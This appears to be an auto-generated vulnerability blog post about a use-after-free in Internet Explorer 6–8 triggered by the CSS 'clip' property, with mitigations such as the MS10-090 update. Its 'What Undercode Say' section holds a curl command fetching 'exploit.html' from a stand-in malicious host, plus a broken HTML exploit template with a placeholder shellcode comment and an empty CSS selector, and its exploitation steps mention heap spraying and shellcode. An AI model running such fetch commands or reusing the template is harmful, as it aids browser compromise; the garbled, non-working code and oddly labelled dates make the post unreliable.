Listen to this Post
This vulnerability is a use-after-free condition triggered by Internet Explorer’s handling of specific Cascading Style Sheets (CSS) token sequences related to the ‘clip’ attribute. The rendering engine improperly manages memory objects when processing a crafted sequence of CSS tokens. Specifically, when parsing a maliciously formed CSS rule for the ‘clip’ attribute (e.g., rect(1px, 1px, 1px, 1px)), the engine can free a memory object but subsequently leaves a reference (a “flag”) to that now-freed memory location. This creates a dangling pointer. When the browser later attempts to use this invalid reference, it accesses memory that has potentially been reclaimed and filled with attacker-controlled data. This corrupts the program’s state, allowing a remote attacker to execute arbitrary code with the privileges of the current user.
Platform: Windows
Version: IE 6/7/8
Vulnerability: Memory Corruption
Severity: Critical
date: 2010-11-10
Prediction: Patch: 2010-12-14
What Undercode Say:
curl -s "http://malicious-site.com/exploit.html" -o /tmp/exploit.html
<html>
<head>
<style>
{ clip: rect(0px, 0px, 0px, 0px); }
</style>
<script>
// Shellcode allocation
</script>
</head>
<body>
Trigger
</body>
</html>
How Exploit:
Crafted CSS clip property triggers UAF.
Sprays heap to control memory.
Executes shellcode for full compromise.
Protection from this CVE
Apply MS10-090 update.
Disable Active Scripting.
Use DEP and ASLR.
Impact:
Remote Code Execution
System Compromise
Information Disclosure
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
